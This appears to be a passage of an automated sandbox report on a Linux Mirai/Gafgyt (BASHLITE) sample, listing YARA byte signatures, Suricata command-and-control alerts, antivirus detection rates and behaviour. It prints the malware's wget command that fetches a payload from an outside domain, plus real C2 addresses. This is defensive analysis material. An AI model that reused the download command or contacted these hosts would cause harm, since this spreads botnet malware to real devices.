2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1168c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x116f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0xa27:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x95c0:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x94d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x2602:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x76ee:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x7752:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x77e5:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x1815:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x18ca:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x1b0b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27d:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35b:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0xd2de:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x99a1:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x1eb8:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x86f:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x14a3:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_859042a0	unknown	unknown	0x5d16:$a: 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x9c97:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5528.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f8:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d6:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
Process Memory Space: x86.elf PID: 5528	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5528	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2058:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x206c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2080:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2094:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x210c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2120:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2134:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2148:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x215c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2170:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2184:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2198:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x21ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x21c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x21d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x21e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: x86.elf PID: 5530	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5530	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x22cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22e3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x22f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x230b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2333:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2347:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x235b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x236f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2383:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2397:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x240f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2423:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2437:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x245f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: x86.elf PID: 5531	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5531	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1ff5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2009:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x201d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2031:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2045:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2059:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x206d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2081:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2095:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20a9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20bd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20d1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20e5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20f9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x210d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2121:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2135:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2149:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x215d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2171:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2185:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 52 entries

Suricata Signatures

ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-10T07:44:16.758698+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58154	TCP
2025-05-10T07:44:32.310593+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58156	TCP
2025-05-10T07:44:47.867827+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58158	TCP
2025-05-10T07:45:03.427653+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58160	TCP
2025-05-10T07:45:18.988148+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58162	TCP
2025-05-10T07:45:34.547050+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58164	TCP
2025-05-10T07:45:50.109342+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58166	TCP
2025-05-10T07:46:05.672211+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58168	TCP
2025-05-10T07:46:21.231592+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58170	TCP
2025-05-10T07:46:36.789043+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58172	TCP
2025-05-10T07:46:52.349507+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58174	TCP
2025-05-10T07:47:07.905258+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58176	TCP
2025-05-10T07:47:23.461040+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58178	TCP
2025-05-10T07:47:39.017777+0200	2839489	1	Malware Command and Control Activity Detected	92.60.77.69	666	192.168.2.15	58180	TCP

ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-10T07:44:16.485852+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58154	92.60.77.69	666	TCP
2025-05-10T07:44:32.037794+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58156	92.60.77.69	666	TCP
2025-05-10T07:44:47.594854+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58158	92.60.77.69	666	TCP
2025-05-10T07:45:03.154401+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58160	92.60.77.69	666	TCP
2025-05-10T07:45:18.714205+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58162	92.60.77.69	666	TCP
2025-05-10T07:45:34.274220+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58164	92.60.77.69	666	TCP
2025-05-10T07:45:49.835535+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58166	92.60.77.69	666	TCP
2025-05-10T07:46:05.397910+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58168	92.60.77.69	666	TCP
2025-05-10T07:46:20.958201+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58170	92.60.77.69	666	TCP
2025-05-10T07:46:36.516331+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58172	92.60.77.69	666	TCP
2025-05-10T07:46:52.076642+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58174	92.60.77.69	666	TCP
2025-05-10T07:47:07.632380+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58176	92.60.77.69	666	TCP
2025-05-10T07:47:23.188326+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58178	92.60.77.69	666	TCP
2025-05-10T07:47:38.744584+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	58180	92.60.77.69	666	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86.elf	Virustotal: Detection: 62%			Perma Link
Source: x86.elf	ReversingLabs: Detection: 68%

Spreading

Opens /proc/net/* files useful for finding connected devices and routers

Source: /tmp/x86.elf (PID: 5528)

Opens: /proc/net/route

Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58160 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58160
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58172 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58166 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58170 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58166
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58158 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58164 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58172
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58170
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58168 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58158
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58154 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58168
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58178 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58162 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58178
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58164
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58162
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58154
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58174 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58174
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58176 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58176
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58156 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58156
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:58180 -> 92.60.77.69:666
Source: Network traffic	Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.15:58180

Source: global traffic

TCP traffic: 192.168.2.15:58154 -> 92.60.77.69:666

Source: /bin/sh (PID: 5533)

Wget executable: /usr/bin/wget -> wget -q http://gay.energy/.../vivid -O .....

Jump to behavior

Source: /usr/bin/wget (PID: 5533)

Reads hosts file: /etc/hosts

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown	TCP traffic detected without corresponding DNS query: 92.60.77.69

Source: global traffic	DNS traffic detected: DNS query: gay.energy
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

System Summary

Malicious sample detected (through community Yara rule)

Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
